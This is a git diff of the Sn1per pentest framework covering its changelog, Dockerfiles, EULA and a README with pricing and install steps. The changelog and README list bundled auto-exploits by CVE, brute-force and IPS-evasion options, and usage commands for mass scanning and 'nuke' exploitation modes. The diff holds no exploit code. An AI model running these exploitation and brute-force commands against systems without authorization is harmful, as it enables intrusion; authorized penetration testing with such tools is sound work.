* v8.2 - Fixed issue with Subjack (open /src/github.com/haccer/subjack/fingerprints.json: no such file or directory)
|
||||
* v8.1 - Added Citrix Gateway Arbitary Code Execution CVE-2019-19781 vulnerability detection
|
||||
* v8.1 - Added Pulse Secure VPN Arbitrary File Disclosure CVE-2019-11510 exploit
|
||||
* v8.1 - Added --data-length=50 for NMap IPS evasion
|
||||
* v8.1 - Removed NMap vulscan script due to F+ results
|
||||
* v8.1 - Fixed issue with CRT.SH sub-domain retrieval
|
||||
* v8.1 - Updated Kali Linux keyring package
|
||||
* v8.1 - Fixed "[: ==: unary operator expected" in all code
|
||||
* v8.1 - Updated Sn1per Professional autoload settings
|
||||
* v8.1 - Updated web brute force wordlists
|
||||
* v8.1 - Removed null and debug errors from passive spider API output
|
||||
* v8.1 - Updated Commoncrawl index repo
|
||||
* v8.1 - Updated DockerFile repository
|
||||
* v8.1 - Fixed issue with -dh flag to delete host with Sn1per Pro v8.0
|
||||
* v8.1 - Fixed issue with subfinder missing
|
||||
* v8.1 - Fixed issue with 7zip missing
|
||||
* v8.1 - Added check for Ubuntu to install.sh automatically
|
||||
* v8.0 - Added ASnip tool to retrieve ASN's via 'recon' mode
|
||||
* v8.0 - Added Shodan sub-domain lookup
|
||||
* v8.0 - Added script timeout flag for NMap scripts
|
||||
* v8.0 - Fixed issue with dnsenum getting stuck on gathering dns info stage
|
||||
* v8.0 - Added option to force upgrade/install.sh without user prompt (ie. ./install.sh force)
|
||||
* v8.0 - Fixed issue with theHarvester package on Ubuntu systems
|
||||
* v8.0 - Fixed error "[: ==: unary operator expected" in all modes
|
||||
* v8.0 - Added net-tools package for Ubuntu OS deps
|
||||
* v7.4 - Added LDAP anomyous search to port 389/tcp checks (Shoutout @D0rkerDevil)
|
||||
* v7.4 - Added Java RMI dump registry scan checks and exploits to port 8001/tcp (Shoutout @D0rkerDevil)
|
||||
* v7.4 - Added CheckPoint Firewall-1 SecuRemote Topology Service Hostname Disclosure MSF module
|
||||
* v7.4 - Added virtualhost scanning via web mode
|
||||
* v7.4 - Added Gobuster
|
||||
* v7.4 - Addd URLCrazy DNS alterations check to OSINT mode
|
||||
* v7.4 - Added Ultratools Whois Lookups to OSINT mode
|
||||
* v7.4 - Added Email-Format.com Email Retreival to OSINT mode
|
||||
* v7.4 - Added Metasploit OSINT email retrieval to OSINT mode
|
||||
* v7.4 - Added Hackertarget URL API retrieval to web modes
|
||||
* v7.4 - Fixed error in massvulnscan mode
|
||||
* v7.4 - Fixed issue with webscreenshot.py not running
|
||||
* v7.4 - Added reverse whois DNS search via AMass
|
||||
* v7.4 - Added MassDNS IP's to master sorted IP list
|
||||
* v7.4 - Fixed issue with MassDNS installation
|
||||
* v7.4 - Fixed bad path with DNSGen
|
||||
* v7.4 - Fixed issue with AMass not running
|
||||
* v7.4 - Improved performance of AltDNS/DNSgen/MassDNS retrieval
|
||||
* v7.4 - Changed webscreenshot.py setting to use chrome browser and increased timeout
|
||||
* v7.4 - Fixed issue with missing xmlstarlet package for OpenVAS scans
|
||||
* v7.4 - Improved active web spider URL consolidation
|
||||
* v7.3 - Added CVE-2019-15107 Webmin <= 1.920 - Unauthenticated RCE MSF exploit
|
||||
* v7.3 - Added massdns plugin
|
||||
* v7.3 - Added altdns plugin
|
||||
* v7.3 - Added dnsgen plugin
|
||||
* v7.3 - Updated web file/dir wordlists from public exploits and honeypots
|
||||
* v7.3 - Added time stamps to all commands
|
||||
* v7.3 - Removed CloudFront from domain hijacking checks
|
||||
* v7.3 - Removed snmp-brute.nse script due to scan issues
|
||||
* v7.3 - Fixed issue with discover scan workspace names
|
||||
* v7.3 - Fixed issue with DockerFile (sed: can't read /usr/bin/msfdb: No such file or directory)
|
||||
* v7.3 - Fixed issue with installer on docker not having pip installed
|
||||
* v7.3 - Fixed issue with port 161 not being referenced correctly in scans
|
||||
* v7.2 - Added experimental OpenVAS API integration
|
||||
* v7.2 - Improved Burpsuite 2.x API integration with vuln reporting
|
||||
* v7.2 - Added hunter.io API integration to recon mode scans
|
||||
* v7.2 - Added Cisco IKE Key Disclosure MSF exploit
|
||||
* v7.2 - Added JBoss MSF vuln scanner module
|
||||
* v7.2 - Added Apache CouchDB RCE MSF exploit
|
||||
* v7.2 - Added IBM Tivoli Endpoint Manager POST Query Buffer Overflow exploit
|
||||
* v7.2 - Added Java RMI MSF scanner
|
||||
* v7.2 - New scan mode "vulnscan"
|
||||
* v7.2 - New scan mode "massportscan"
|
||||
* v7.2 - New scan mode "massweb"
|
||||
* v7.2 - New scan mode "masswebscan"
|
||||
* v7.2 - New scan mode "massvulnscan"
|
||||
* v7.2 - Added additional Slack API notification settings
|
||||
* v7.2 - Improved NMap port detection and scan modes
|
||||
* v7.2 - Fixed issue with Censys API being enabled by default
|
||||
* v7.2 - Fixed verbose errors in subjack/subover tools
|
||||
* v7.2 - Fixed issue with NMap http scripts not working
|
||||
* v7.1 - Added BlueKeep CVE-2019-0708 MSF scanner
|
||||
* v7.1 - Added automatic workspace generation for single target scans
|
||||
* v7.1 - Added new slack.sh API integration script
|
||||
* v7.1 - Added differential Slack notifications for new domains, new URL's and various scan outputs
|
||||
* v7.1 - Added vulners and vulscan NMap scripts
|
||||
* v7.1 - Added installer and support for Debian, Parrot and Ubuntu OS (install_debian.sh) (CC. @imhaxormad)
|
||||
* v7.1 - Fixed various issues with the DockerFile
|
||||
* v7.1 - Fixed/added Metasploit LHOST/LPORT values to all exploits based on sniper.conf settings
|
||||
* v7.1 - Fixed issue with Amass/Golang 1.11 not installing correctly
|
||||
* v7.0 - Added "webscan" mode for automated Burpsuite 2.x and Arachni web application scans only
|
||||
* v7.0 - Added Slack API notifications (Disabled by default..check ~/.sniper.conf)
|
||||
* v7.0 - Added new command switch to add daily, weekly or monthly sniper scheduled scans... check README
|
||||
* v7.0 - Added scheduled scan tasks command switch (Needs additional configuration to setup... check README)
|
||||
* v7.0 - Added Axis2 authenticated deployer MSF exploit
|
||||
* v7.0 - Added Axis2 login brute force module
|
||||
* v7.0 - Added subjack tool to check for subdomain hijacking
|
||||
* v7.0 - Added sorted IP lists under $LOOT_DIR/ips/ips-all-sorted.txt
|
||||
* v7.0 - Added subnet retrieval for all 'recon' mode scans under $LOOT_DIR/nmap/subnets-$TARGET.txt
|
||||
* v7.0 - Added Webscreenshot.py and disabled cutycapt from default config
|
||||
* v7.0 - Added Gobuster (Disabled by default..check ~/.sniper.conf)
|
||||
* v7.0 - Fixed issue with SubOver not working due to bad path
|
||||
* v7.0 - Fixed issue with flyover mode running 2x
|
||||
* v6.3 - Added Drupal RESET Unserialize RCE CVE-2019-6340
|
||||
* v6.2 - Added Glassfish Admin traversal MSF exploit
|
||||
* v6.2 - Added ElasticSearch Java Injection MSF RCE exploit
|
||||
* v6.2 - Added WebTech web fingerprinting tool
|
||||
|
|
@ -88,7 +393,7 @@
|
|||
* v5.1 - Added dnscan to install.sh and updated sniper references which were broken
|
||||
* v5.1 - Changed default brute force list for dnscan to improve performance of scans
|
||||
* v5.1 - Removed CloudHunter and SubOver references (CC. 爱上平顶山)
|
||||
* v5.0 - Added Sn1per Pro reporting interface (see https://xerosecurity.com for more details)
|
||||
* v5.0 - Added Sn1per Pro reporting interface (see https://sn1persecurity.com for more details)
|
||||
* v5.0 - Added GPON Router RCE auto exploit
|
||||
* v5.0 - Added Cloudapp.net Azure subdomain takeover check
|
||||
* v5.0 - Added Cisco ASA Directory Traversal auto exploit (CVE-2018-0296)
|
||||
|
|
|
|||
34
Dockerfile
34
Dockerfile
|
|
@ -1,30 +1,34 @@
|
|||
FROM kalilinux/kali-linux-docker
|
||||
FROM docker.io/kalilinux/kali-rolling:latest
|
||||
|
||||
LABEL org.label-schema.name='Sn1per - Kali Linux' \
|
||||
org.label-schema.description='Automated pentest framework for offensive security experts' \
|
||||
org.label-schema.usage='https://github.com/1N3/Sn1per' \
|
||||
org.label-schema.url='https://github.com/1N3/Sn1per' \
|
||||
org.label-schema.vendor='https://xerosecurity.com' \
|
||||
org.label-schema.vendor='https://sn1persecurity.com' \
|
||||
org.label-schema.schema-version='1.0' \
|
||||
org.label-schema.docker.cmd.devel='docker run --rm -ti hariomv/sniper' \
|
||||
MAINTAINER="Hariom Vashisth <hariom.devops@gmail.com>"
|
||||
org.label-schema.docker.cmd.devel='docker run --rm -ti xer0dayz/sniper' \
|
||||
MAINTAINER="@xer0dayz"
|
||||
|
||||
RUN echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" > /etc/apt/sources.list && \
|
||||
echo "deb-src http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
|
||||
ENV DEBIAN_FRONTEND noninteractive
|
||||
|
||||
RUN set -x \
|
||||
&& apt-get -yqq update \
|
||||
&& apt-get -yqq dist-upgrade \
|
||||
&& apt-get clean
|
||||
&& apt -yqq update \
|
||||
&& apt -yqq full-upgrade \
|
||||
&& apt clean
|
||||
RUN apt install --yes metasploit-framework
|
||||
|
||||
RUN \
|
||||
apt-get --yes install git \
|
||||
&& mkdir -p security \
|
||||
&& cd security \
|
||||
&& git clone https://github.com/1N3/Sn1per.git \
|
||||
RUN sed -i 's/systemctl status ${PG_SERVICE}/service ${PG_SERVICE} status/g' /usr/bin/msfdb && \
|
||||
service postgresql start && \
|
||||
msfdb reinit
|
||||
|
||||
WORKDIR /usr/src/app
|
||||
|
||||
RUN apt --yes install git bash
|
||||
RUN git clone https://github.com/1N3/Sn1per.git \
|
||||
&& cd Sn1per \
|
||||
&& ./install.sh
|
||||
|
||||
CMD ["bash"]
|
||||
&& ./install.sh \
|
||||
&& sniper -u force
|
||||
|
||||
CMD ["sniper"]
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
FROM docker.io/blackarchlinux/blackarch:latest
|
||||
|
||||
# Upgrade system
|
||||
RUN pacman -Syu --noconfirm
|
||||
|
||||
# Install sn1per from official repository
|
||||
RUN pacman -Sy sn1per --noconfirm
|
||||
|
||||
CMD ["sn1per"]
|
||||
30
LICENSE.md
30
LICENSE.md
|
|
@ -1,2 +1,30 @@
|
|||
## LICENSE:
|
||||
Sn1per Community Edition is free to distribute, modify and use with the condition that credit is provided to the creator (@xer0dayz) and @XeroSecurity and is not for commercial use. For commercial and professional use, a Sn1per Professional license must be purchased at https://xerosecurity.com.
|
||||
Sn1per Community Edition End User License Agreement (EULA)
|
||||
|
||||
Sn1perSecurity LLC grants you the right to download, use, and distribute in part or in whole Sn1per Community Edition (also referred to as “Project”, “Code”, “Software”, “Sn1per”, “Product”), provided the following terms and conditions are met:
|
||||
|
||||
(1) You agree to give credit to the original author @xer0dayz and link back to https://sn1persecurity.com (Sn1perSecurity LLC)
|
||||
(2) You may not rename or rebrand the Project.
|
||||
(3) You agree not to create any product or service from any par of the Code from this Project, paid or free.
|
||||
(4) You agree not to re-license the Code.
|
||||
(5) You may not use the Code for illegal or nefarious purposes, which violates any laws (in your jurisdiction, the jurisdiction in which the Software is running, the jurisdiction in which the Software is targeting, and the United States of America).
|
||||
(6) You agree not to scan a target in a manner that is considered unlawful, illegal, or that you do not have explicit permission to do so.
|
||||
|
||||
This Software is provided as-is without warranty. Sn1perSecurity LLC, its creators and staff take no liability for consequential damages to the maximum extent permitted by all applicable laws. In no event shall Sn1perSecurity LLC or any person be liable for any consequential, reliance, incidental, special, direct or indirect damages whatsoever (including without limitation, damages for loss of business profits, business interruption, loss of business information, personal injury, or any other loss) arising out of or in connection with the use or inability to use this Product, even if Sn1perSecurity LLC has been advised of the possibility of such damages.
|
||||
|
||||
Sn1perSecurity LLC does not guarantee any functionality or performance of Sn1per Community Edition. Sn1perSecurity LLC does not warrant that the Code will be maintained and in good working order, or that the Software will meet your requirements, be uninterrupted, or error free, or that any errors in the Software will be corrected.
|
||||
|
||||
The Software code, name, and logos are owned by Sn1perSecurity LLC and protected by the United States of America and the state of Arizona copyright and/or patent laws of international treaty provisions. All rights reserved.
|
||||
|
||||
Sn1perSecurity LLC reserves the right to change the licensing terms at any time, without advance notice. Sn1perSecurity LLC reserves the right to terminate your license at any time.
|
||||
|
||||
If any provision of this EULA is determined to be unlawful, void, or unenforceable, such provision shall nonetheless be enforceable to the fullest extent permitted by applicable law, and the unenforceable portion shall be deemed to be severed from this EULA. Such determination shall not affect the validity and enforceability of any remaining provisions.
|
||||
|
||||
Failure of Sn1perSecurity LLC to exercise or enforce any right or provision of this EULA does not constitute a waiver of such right or provision.
|
||||
|
||||
Any ambiguities in the interpretation of this EULA shall not be construed against the drafting party/parties.
|
||||
|
||||
Download, use, distribution (in part or in whole) of this Project/Code constitutes your acceptance of the Sn1per Community Edition EULA. If at any time you are not in agreement or cannot meet any part of this EULA, you should immediately cease use of the Project by removing/uninstalling all copies from all locations.
|
||||
|
||||
For any questions concerning this EULA, please submit a GitHub issue with your question: https://github.com/1N3/Sn1per
|
||||
|
||||
|
|
|
|||
461
README.md
461
README.md
|
|
@ -1,143 +1,221 @@
|
|||

|
||||
[](https://sn1persecurity.com/wordpress/product/sn1per-professional-2026-license/)
|
||||
|
||||
[](https://github.com/1N3/Sn1per/releases)
|
||||
[](https://github.com/1N3/Sn1per/issues)
|
||||
[](https://github.com/1N3/Sn1per/)
|
||||
[](https://github.com/1N3/Sn1per/)
|
||||
[](https://twitter.com/intent/tweet?original_referer=https%3A%2F%2Fdeveloper.twitter.com%2Fen%2Fdocs%2Ftwitter-for-websites%2Ftweet-button%2Foverview&ref_src=twsrc%5Etfw&text=Sn1per%20-%20Automated%20Pentest%20Recon%20Scanner&tw_p=tweetbutton&url=https%3A%2F%2Fgithub.com%2F1N3%2FSn1per)
|
||||
[](https://twitter.com/intent/follow?screen_name=crowdshield)
|
||||
[](https://github.com/1N3/Sn1per/releases)
|
||||
[](https://github.com/1N3/Sn1per/blob/master/LICENSE.md)
|
||||
[](https://github.com/1N3/Sn1per/issues)
|
||||
[](https://github.com/1N3/Sn1per/commits/master)
|
||||
[](https://github.com/1N3/Sn1per/graphs/contributors)
|
||||
|
||||
## ABOUT:
|
||||
Sn1per Community Edition is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes. For more information regarding Sn1per Professional, go to https://xerosecurity.com.
|
||||
[](https://github.com/1N3/Sn1per/stargazers)
|
||||
[](https://github.com/1N3/Sn1per/network/members)
|
||||
[](https://github.com/1N3)
|
||||
[](https://twitter.com/intent/follow?screen_name=xer0dayz)
|
||||
|
||||
## SN1PER PROFESSIONAL FEATURES:
|
||||
### Professional reporting interface
|
||||

|
||||
### Slideshow for all gathered screenshots
|
||||

|
||||
### Searchable and sortable DNS, IP and open port database
|
||||

|
||||
### Detailed host reports
|
||||

|
||||
### NMap HTML host reports
|
||||

|
||||
### Quick links to online recon tools and Google hacking queries
|
||||

|
||||
### Takeovers and Email Security
|
||||

|
||||
### HTML5 Notepad
|
||||

|
||||
[[Products](https://sn1persecurity.com/wordpress/shop/)] [[Attack Surface Management](https://sn1persecurity.com/wordpress/use-cases/)] [[About Sn1per](https://sn1persecurity.com/wordpress/about/)] [[News](https://sn1persecurity.com/wordpress/blog/)] [[Contact](https://sn1persecurity.com/wordpress/home/contact/)] [[Demo](https://sn1persecurity.com/wordpress/#video)] [[Pricing](https://sn1persecurity.com/wordpress/product/sn1per-professional-2026-license/)] [[Shop](https://sn1persecurity.com/wordpress/shop/)]
|
||||
|
||||
## ORDER SN1PER PROFESSIONAL:
|
||||
To obtain a Sn1per Professional license, go to https://xerosecurity.com.
|
||||
# Sn1per — The Offensive-Security Platform for Modern Teams
|
||||
|
||||
## DEMO VIDEO:
|
||||
[](https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm)
|
||||
> Recon, scanning, exploitation, and reporting in a single workspace — whether you're a solo pentester or a global SOC.
|
||||
|
||||
## SN1PER COMMUNITY FEATURES:
|
||||
- [x] Automatically collects basic recon (ie. whois, ping, DNS, etc.)
|
||||
- [x] Automatically launches Google hacking queries against a target domain
|
||||
- [x] Automatically enumerates open ports via NMap port scanning
|
||||
- [x] Automatically brute forces sub-domains, gathers DNS info and checks for zone transfers
|
||||
- [x] Automatically checks for sub-domain hijacking
|
||||
- [x] Automatically runs targeted NMap scripts against open ports
|
||||
- [x] Automatically runs targeted Metasploit scan and exploit modules
|
||||
- [x] Automatically scans all web applications for common vulnerabilities
|
||||
- [x] Automatically brute forces ALL open services
|
||||
- [x] Automatically test for anonymous FTP access
|
||||
- [x] Automatically runs WPScan, Arachni and Nikto for all web services
|
||||
- [x] Automatically enumerates NFS shares
|
||||
- [x] Automatically test for anonymous LDAP access
|
||||
- [x] Automatically enumerate SSL/TLS ciphers, protocols and vulnerabilities
|
||||
- [x] Automatically enumerate SNMP community strings, services and users
|
||||
- [x] Automatically list SMB users and shares, check for NULL sessions and exploit MS08-067
|
||||
- [x] Automatically exploit vulnerable JBoss, Java RMI and Tomcat servers
|
||||
- [x] Automatically tests for open X11 servers
|
||||
- [x] Auto-pwn added for Metasploitable, ShellShock, MS08-067, Default Tomcat Creds
|
||||
- [x] Performs high level enumeration of multiple hosts and subnets
|
||||
- [x] Automatically integrates with Metasploit Pro, MSFConsole and Zenmap for reporting
|
||||
- [x] Automatically gathers screenshots of all web sites
|
||||
- [x] Create individual workspaces to store all scan output
|
||||
> ## Sn1per Professional 2026 is here
|
||||
>
|
||||
> The largest release since v10.0 — Docker-first deployment, Bootstrap 5 / Tabler UI, Workspace Navigator, Workspace + Host Reports with CSV / Excel / PDF export, JSON API v1.0, an Offcanvas Quick Commands sidebar with 13 panels, and expanded modules for ReverseAPK, MassPwn, Threat Intel, Nessus, and Burp.
|
||||
>
|
||||
> [Read the release notes →](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/) · [View pricing →](https://sn1persecurity.com/wordpress/product/sn1per-professional-2026-license/)
|
||||
|
||||
## AUTO-PWN:
|
||||
- [x] Apache Struts CVE-2018-11776 RCE exploit
|
||||
- [x] Android Insecure ADB RCE auto exploit
|
||||
- [x] Apache Tomcat CVE-2017-12617 RCE exploit
|
||||
- [x] Oracle WebLogic WLS-WSAT Component Deserialisation RCE CVE-2017-10271 exploit
|
||||
- [x] Drupal Drupalgedon2 RCE CVE-2018-7600
|
||||
- [x] GPON Router RCE CVE-2018-10561
|
||||
- [x] Apache Struts 2 RCE CVE-2017-5638
|
||||
- [x] Apache Struts 2 RCE CVE-2017-9805
|
||||
- [x] Apache Jakarta RCE CVE-2017-5638
|
||||
- [x] Shellshock GNU Bash RCE CVE-2014-6271
|
||||
- [x] HeartBleed OpenSSL Detection CVE-2014-0160
|
||||
- [x] Default Apache Tomcat Creds CVE-2009-3843
|
||||
- [x] MS Windows SMB RCE MS08-067
|
||||
- [x] Webmin File Disclosure CVE-2006-3392
|
||||
- [x] Anonymous FTP Access
|
||||
- [x] PHPMyAdmin Backdoor RCE
|
||||
- [x] PHPMyAdmin Auth Bypass
|
||||
- [x] JBoss Java De-Serialization RCE's
|
||||
## Table of Contents
|
||||
|
||||
## KALI LINUX INSTALL:
|
||||
```
|
||||
./install.sh
|
||||
- [About](#about-sn1per)
|
||||
- [What Sn1per Is For](#what-sn1per-is-for)
|
||||
- [What's New in 2026](#whats-new-in-2026)
|
||||
- [Editions & Pricing](#editions--pricing)
|
||||
- [Install](#install)
|
||||
- [Quick Start](#quick-start)
|
||||
- [Usage](#usage)
|
||||
- [Scan Modes](#scan-modes)
|
||||
- [Integrations](#integrations)
|
||||
- [Documentation & Help](#documentation--help)
|
||||
- [News & Releases](#news--releases)
|
||||
- [Community & Support](#community--support)
|
||||
- [Contributing](#contributing)
|
||||
- [License & Legal](#license--legal)
|
||||
|
||||
## About Sn1per
|
||||
|
||||
Sn1per is an offensive-security platform that consolidates reconnaissance, vulnerability scanning, exploitation, and reporting into a single workspace. Built by pentesters since 2015, it ships in three editions — a free Community Edition (source-available, custom EULA — see LICENSE.md) in this repository, a paid Professional edition for individual operators and small teams, and an Enterprise edition for global SOCs — all backed by the same core scanning engine.
|
||||
|
||||
Sn1per orchestrates 90+ third-party tools, ships with 600+ exploits and 10,000+ detections, and is used by 500+ teams worldwide. Battle-tested by the community. Built by pentesters, for pentesters.
|
||||
|
||||
**500+** Teams · **90+** Integrations · **10,000+** Detections · **600+** Exploits · Trusted since **2015**
|
||||
|
||||
## What Sn1per Is For
|
||||
|
||||
Sn1per ships as one platform that covers the core jobs offensive security teams otherwise stitch together from a dozen tools:
|
||||
|
||||
- **[External Attack Surface Management](https://sn1persecurity.com/wordpress/external-attack-surface-management-with-sn1per/)** - continuous discovery, monitoring, and active exploitation of every internet-facing asset your organization owns, including the ones nobody on your team knows about.
|
||||
- **[Continuous Attack Surface Management](https://sn1persecurity.com/wordpress/continuous-attack-surface-management-with-sn1per-professional/)** - daily-cadence rescans that diff yesterday's surface against today's so new exposures hit your SOC within hours, not the next quarterly pentest.
|
||||
- **[Automated Penetration Testing](https://sn1persecurity.com/wordpress/automated-penetration-testing/)** - 600+ exploits and 10,000+ detections orchestrated as a single workflow, with active verification eliminating the false positives version-only scanners ship as "critical."
|
||||
- **[Reconnaissance & Attack Surface Discovery](https://sn1persecurity.com/wordpress/reconnaissance-methodology/)** - the full phased recon workflow, from OSINT and subdomain enumeration through live-host discovery and fingerprinting, run as one automated pass.
|
||||
|
||||
## What's New in 2026
|
||||
|
||||
[](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/)
|
||||
|
||||
*Workspace Navigator — switch contexts across hosts, scopes, and engagements.*
|
||||
|
||||
[](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/)
|
||||
|
||||
*Dashboard — at-a-glance scan posture, top findings, and exploitable assets.*
|
||||
|
||||
### Highlights
|
||||
|
||||
- **Docker-first deployment** — same image, every distro
|
||||
- **Bootstrap 5 / Tabler UI** — refreshed responsive interface with light + dark mode
|
||||
- **Workspace Navigator** — fast workspace switching with state preservation
|
||||
- **Workspace & Host Reports** — CSV, Excel, and PDF export
|
||||
- **JSON API v1.0** — programmatic access for CI / SOAR / SIEM pipelines
|
||||
- **Offcanvas Quick Commands** — 13 panels, every common action one click away
|
||||
- **Expanded modules** — ReverseAPK, MassPwn, Threat Intel, Nessus, Burp Suite
|
||||
- **Maturing SC0PE framework** — more parsers, better noise reduction
|
||||
- **Hardened PHP library stack** — modern dependencies, audited components
|
||||
- **New CLI flags** — `-v` (verbose), `-db` (debug), `-rr` (remove resume files)
|
||||
|
||||
> *"Sn1per Professional 2026 is the largest release since the v10.0 line."*
|
||||
|
||||
[Read the full release notes →](https://sn1persecurity.com/wordpress/sn1per-professional-2026-release/)
|
||||
|
||||
## Editions & Pricing
|
||||
|
||||
The [Community Edition](https://sn1persecurity.com/wordpress/sn1per-community-edition/) is free and lives in this repository. The Professional and Enterprise editions add a Web UI, commercial integrations, and email support.
|
||||
|
||||
| | **Sn1per Professional** | **Sn1per Enterprise** |
|
||||
|---|---|---|
|
||||
| **Price** | $984 / year (per seat) | Get a quote |
|
||||
| **Subscription** | 1 year | 1 year |
|
||||
| **— Included —** | | |
|
||||
| Web UI | Professional Web UI | Enterprise Web UI |
|
||||
| Scan Engine & UI Updates | ✓ | ✓ |
|
||||
| All Modules & Integrations | ✓ | ✓ |
|
||||
| On-Prem (Self Hosted) | ✓ | ✓ |
|
||||
| Email Support | 1 Year | 1 Year |
|
||||
| Improved Speed & Scalability | — | ✓ |
|
||||
| Cutting-Edge Features | — | ✓ |
|
||||
| **— Limits & Quotas —** | | |
|
||||
| Max Scans | Unlimited | Unlimited |
|
||||
| Max Assets / Workspace | 30 | Unlimited |
|
||||
| Max Workspaces | 5 | Unlimited |
|
||||
| Total Assets | 150 | 500+ |
|
||||
| Licensed Systems | 1 | 1 |
|
||||
|
||||
[Buy a Sn1per Professional license →](https://sn1persecurity.com/wordpress/product/sn1per-professional-2026-license/) · [Get an Enterprise quote →](https://sn1persecurity.com/wordpress/request-a-quote/)
|
||||
|
||||
## Install
|
||||
|
||||
### Linux (Kali / Ubuntu / Debian / Parrot)
|
||||
|
||||
```bash
|
||||
git clone https://github.com/1N3/Sn1per.git
|
||||
cd Sn1per
|
||||
sudo bash install.sh
|
||||
```
|
||||
|
||||
## DOCKER INSTALL:
|
||||
```
|
||||
docker build Dockerfile
|
||||
> Sn1per installs to `/usr/share/sniper` and requires root. Use `sudo bash install.sh force` to skip the confirmation prompt.
|
||||
|
||||
### Docker
|
||||
|
||||
[Sn1per on Docker Hub →](https://hub.docker.com/r/sn1persecurity/sn1per)
|
||||
|
||||
#### Kali Linux base
|
||||
|
||||
```bash
|
||||
sudo docker compose up
|
||||
sudo docker run --privileged -it sn1per-kali-linux /bin/bash
|
||||
```
|
||||
|
||||
## USAGE:
|
||||
#### BlackArch base
|
||||
|
||||
```bash
|
||||
sudo docker compose -f docker-compose-blackarch.yml up
|
||||
sudo docker run --privileged -it sn1per-blackarch /bin/bash
|
||||
```
|
||||
|
||||
### AWS Marketplace (EC2 AMI)
|
||||
|
||||
Subscribe via [AWS Marketplace](https://aws.amazon.com/marketplace/pp/prodview-rmloab6wnymno):
|
||||
|
||||
1. Click **Continue to Subscribe**
|
||||
2. Click **Continue to Configuration**, choose region/instance type
|
||||
3. Click **Continue to Launch**
|
||||
4. SSH to the EC2 public IP — Sn1per is preinstalled
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
sudo bash install.sh
|
||||
sniper -t example.com -m normal
|
||||
```
|
||||
|
||||
Results land in `/usr/share/sniper/loot/<workspace>/`. See [Usage](#usage) for more modes.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
[*] NORMAL MODE
|
||||
sniper -t|--target <TARGET>
|
||||
sniper -t <TARGET>
|
||||
|
||||
[*] NORMAL MODE + OSINT + RECON + FULL PORT SCAN + BRUTE FORCE
|
||||
sniper -t|--target <TARGET> -o|--osint -re|--recon -fp|--fullportonly -b|--bruteforce
|
||||
[*] NORMAL MODE + OSINT + RECON
|
||||
sniper -t <TARGET> -o -re
|
||||
|
||||
[*] STEALTH MODE + OSINT + RECON
|
||||
sniper -t|--target <TARGET> -m|--mode stealth -o|--osint -re|--recon
|
||||
sniper -t <TARGET> -m stealth -o -re
|
||||
|
||||
[*] DISCOVER MODE
|
||||
sniper -t|--target <CIDR> -m|--mode discover -w|--workspace <WORSPACE_ALIAS>
|
||||
|
||||
[*] FLYOVER MODE
|
||||
sniper -t|--target <TARGET> -m|--mode flyover -w|--workspace <WORKSPACE_ALIAS>
|
||||
|
||||
[*] AIRSTRIKE MODE
|
||||
sniper -f|--file /full/path/to/targets.txt -m|--mode airstrike
|
||||
|
||||
[*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED
|
||||
sniper -f--file /full/path/to/targets.txt -m|--mode nuke -w|--workspace <WORKSPACE_ALIAS>
|
||||
sniper -t <CIDR> -m discover -w <WORKSPACE_ALIAS>
|
||||
|
||||
[*] SCAN ONLY SPECIFIC PORT
|
||||
sniper -t|--target <TARGET> -m port -p|--port <portnum>
|
||||
sniper -t <TARGET> -m port -p <portnum>
|
||||
|
||||
[*] FULLPORTONLY SCAN MODE
|
||||
sniper -t|--target <TARGET> -fp|--fullportonly
|
||||
|
||||
[*] PORT SCAN MODE
|
||||
sniper -t|--target <TARGET> -m|--mode port -p|--port <PORT_NUM>
|
||||
sniper -t <TARGET> -fp
|
||||
|
||||
[*] WEB MODE - PORT 80 + 443 ONLY!
|
||||
sniper -t|--target <TARGET> -m|--mode web
|
||||
sniper -t <TARGET> -m web
|
||||
|
||||
[*] HTTP WEB PORT HTTP MODE
|
||||
sniper -t|--target <TARGET> -m|--mode webporthttp -p|--port <port>
|
||||
[*] HTTP WEB PORT MODE
|
||||
sniper -t <TARGET> -m webporthttp -p <port>
|
||||
|
||||
[*] HTTPS WEB PORT HTTPS MODE
|
||||
sniper -t|--target <TARGET> -m|--mode webporthttps -p|--port <port>
|
||||
[*] HTTPS WEB PORT MODE
|
||||
sniper -t <TARGET> -m webporthttps -p <port>
|
||||
|
||||
[*] HTTP WEBSCAN MODE
|
||||
sniper -t <TARGET> -m webscan
|
||||
|
||||
[*] ENABLE BRUTEFORCE
|
||||
sniper -t|--target <TARGET> -b|--bruteforce
|
||||
sniper -t <TARGET> -b
|
||||
|
||||
[*] ENABLE LOOT IMPORTING INTO METASPLOIT
|
||||
sniper -t|--target <TARGET>
|
||||
[*] AIRSTRIKE MODE
|
||||
sniper -f targets.txt -m airstrike
|
||||
|
||||
[*] LOOT REIMPORT FUNCTION
|
||||
sniper -w <WORKSPACE_ALIAS> --reimport
|
||||
[*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED
|
||||
sniper -f targets.txt -m nuke -w <WORKSPACE_ALIAS>
|
||||
|
||||
[*] MASS PORT SCAN MODE
|
||||
sniper -f targets.txt -m massportscan
|
||||
|
||||
[*] MASS WEB SCAN MODE
|
||||
sniper -f targets.txt -m massweb
|
||||
|
||||
[*] MASS WEBSCAN SCAN MODE
|
||||
sniper -f targets.txt -m masswebscan
|
||||
|
||||
[*] MASS VULN SCAN MODE
|
||||
sniper -f targets.txt -m massvulnscan
|
||||
|
||||
[*] PORT SCAN MODE
|
||||
sniper -t <TARGET> -m port -p <PORT_NUM>
|
||||
|
||||
[*] LIST WORKSPACES
|
||||
sniper --list
|
||||
|
||||
[*] DELETE WORKSPACE
|
||||
sniper -w <WORKSPACE_ALIAS> -d
|
||||
|
|
